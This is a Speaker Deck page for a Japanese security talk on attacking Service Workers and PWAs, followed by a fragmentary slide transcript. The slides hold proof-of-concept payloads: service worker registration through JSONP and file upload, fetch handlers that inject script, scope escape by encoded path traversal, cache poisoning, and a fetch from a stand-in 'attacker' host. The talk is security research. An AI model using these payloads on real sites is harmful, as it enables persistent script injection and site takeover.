Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
攻撃者視点で見る Service Worker / PWA Study SW
Search
Masato Kinugawa
September 14, 2017
Technology
20
26k
攻撃者視点で見る Service Worker / PWA Study SW
PWA Study(
https://web-study.connpass.com/event/65267/
) で発表した資料です。
Masato Kinugawa
September 14, 2017
Tweet
Share
More Decks by Masato Kinugawa
See All by Masato Kinugawa
Shadow DOMとセキュリティ - 光と影の境界を探る / Shibuya.XSS techtalk #13
masatokinugawa
0
260
Shadow DOM & Security - Exploring the boundary between light and shadow
masatokinugawa
0
650
ブラウザのレガシー・独自機能を愛でる-Firefoxの脆弱性4選- / Browser Crash Club #1
masatokinugawa
1
760
注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3
masatokinugawa
8
3.8k
バグハンティングのすゝめ / P3NFEST
masatokinugawa
5
2.4k
Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12
masatokinugawa
13
20k
How I Hacked Microsoft Teams and got $150,000 in Pwn2Own
masatokinugawa
1
22k
JSでDoSる/ Shibuya.XSS techtalk #11
masatokinugawa
20
7k
Electron: Abusing the lack of context isolation - CureCon(en)
masatokinugawa
5
100k
Other Decks in Technology
See All in Technology
Introduction to Bill One Development Engineer
sansan33
PRO
0
270
Introduction to Sansan for Engineers / エンジニア向け会社紹介
sansan33
PRO
5
39k
研究開発部メンバーの働き⽅ / Sansan R&D Profile
sansan33
PRO
3
18k
株式会社島津製作所_研究開発(集団協業と知的生産)の現場を支える、OSS知識基盤システムの導入
akahane92
1
1.1k
大規模組織にAIエージェントを迅速に導入するためのセキュリティの勘所 / AI agents for large-scale organizations
i35_267
6
210
Microsoft Fabric ガバナンス設計の一歩目を考える
ryomaru0825
1
250
Railsの限界を超えろ!「家族アルバム みてね」の画像・動画の大規模アップロードを支えるアーキテクチャの変遷
ojima_h
3
370
AI時代にも変わらぬ価値を発揮したい: インフラ・クラウドを切り口にユーザー価値と非機能要件に向き合ってエンジニアとしての地力を培う
netmarkjp
0
210
自分がLinc’wellで提供しているプロダクトを理解するためにやったこと
murabayashi
1
160
20250719_JAWS_kobe
takuyay0ne
1
160
OTel 公式ドキュメント翻訳 PJ から始めるコミュニティ活動/Community activities starting with the OTel official document translation project
msksgm
0
200
ecspressoの設計思想に至る道 / sekkeinight2025
fujiwara3
6
490
Featured
See All Featured
Mobile First: as difficult as doing things right
swwweet
223
9.7k
Music & Morning Musume
bryan
46
6.7k
Build your cross-platform service in a week with App Engine
jlugia
231
18k
How To Stay Up To Date on Web Technology
chriscoyier
790
250k
ReactJS: Keep Simple. Everything can be a component!
pedronauck
667
120k
Fashionably flexible responsive web design (full day workshop)
malarkey
407
66k
Building Adaptive Systems
keathley
43
2.7k
[RailsConf 2023] Rails as a piece of cake
palkan
55
5.7k
Distributed Sagas: A Protocol for Coordinating Microservices
caitiem20
331
22k
Rails Girls Zürich Keynote
gr2m
95
14k
Speed Design
sergeychernyshev
32
1k
Producing Creativity
orderedlist
PRO
346
40k
Transcript
None
None
• •
• • • <script> navigator.serviceWorker.register("/sw.js") </script>
• • •
• • https://html5experts.jp/kyo_ago/5153/ https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=23
None
HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...] alert(1)//({});
<script> navigator.serviceWorker.register("/jsonp?callback=[SW_HERE]//"); </script> HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...]
onfetch=event=>console.log('fetch')//({});
<script> var formData = new FormData(); formData.append("csrf_token", "secret"); var sw
= "/* [SW_CODE] */"; var blob = new Blob([sw], { type: "text/javascript"}); formData.append("file", blob, "sw.js"); fetch("/upload", {method: "POST", body: formData}) .then(/* Register SW */); </script>
• •
• • onfetch=e=>{ body = '<script>alert(1)</script>'; init = {headers: {'content-type':
'text/html'}}; e.respondWith(new Response(body,init)); }
• • • <script> navigator.serviceWorker.register("/sw.js", {scope: "/"}) </script>
• • "/assets/js/sw.js", {scope: "https://other.example.com/"} "/assets/js/sw.js", {scope: "/assets/"} "/assets/js/sw.js", {scope:
"/assets/css/"} "/assets/js/sw.js", {scope: "/assets/js/"} "/assets/js/sw.js", {scope: "/assets/js/sub/"}
HTTP/1.1 200 OK content-type: text/javascript service-worker-allowed: / [...]
https://example.com/api/jsonp https://example.com/api%2Fjsonp
❝ ❞
https://example.com/out-of-scope/ https://example.com/foo/..%2Fout-of-scope%2F
None
• • •
onfetch=e=>{ e.respondWith(fetch("//attacker/poc.swf")) } •
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="example.jp" /> </cross-domain-policy> https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016
❝ ❞
<script src="//example.com/socialbutton.js"></script>
self.addEventListener('install', e => { e.registerForeignFetch({ scopes: ['/'], origins: ['*']// });
}); onforeignfetch = e => { e.respondWith(fetch(e.request).then(res => ({ response: new Response('alert(1)')// }))) }
• •
onfetch = event => { event.respondWith( caches.open("v1").then(function(cache) { return cache.match(event.request).then(function(response)
{ if (response) { return response;// } else { return fetch(event.request.clone()).then(function(response) { cache.put(event.request, response.clone());// return response; }); } }) }) ); };
<script> caches.open("v1").then(function(cache){ content = "<script>alert(1)</script>"; init = {headers: {"content-type": "text/html"}};
request = new Request("poison.html"); response = new Response(content, init); cache.put(request, response); }) </script>
<script> document.write(localStorage.getItem('name')); </script>
• • •
• • HTTP/1.1 200 OK Content-Type:text/html Clear-Site-Data: "storage"
GET https://example.com/sw.js HTTP/1.1 Host: example.com Connection: keep-alive Pragma: no-cache Cache-Control:
no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Accept: */* Service-Worker: script Referer: https://example.com/ Accept-Encoding: gzip, deflate, br Accept-Language: ja,en;q=0.8,en-US;q=0.6
• •
None
None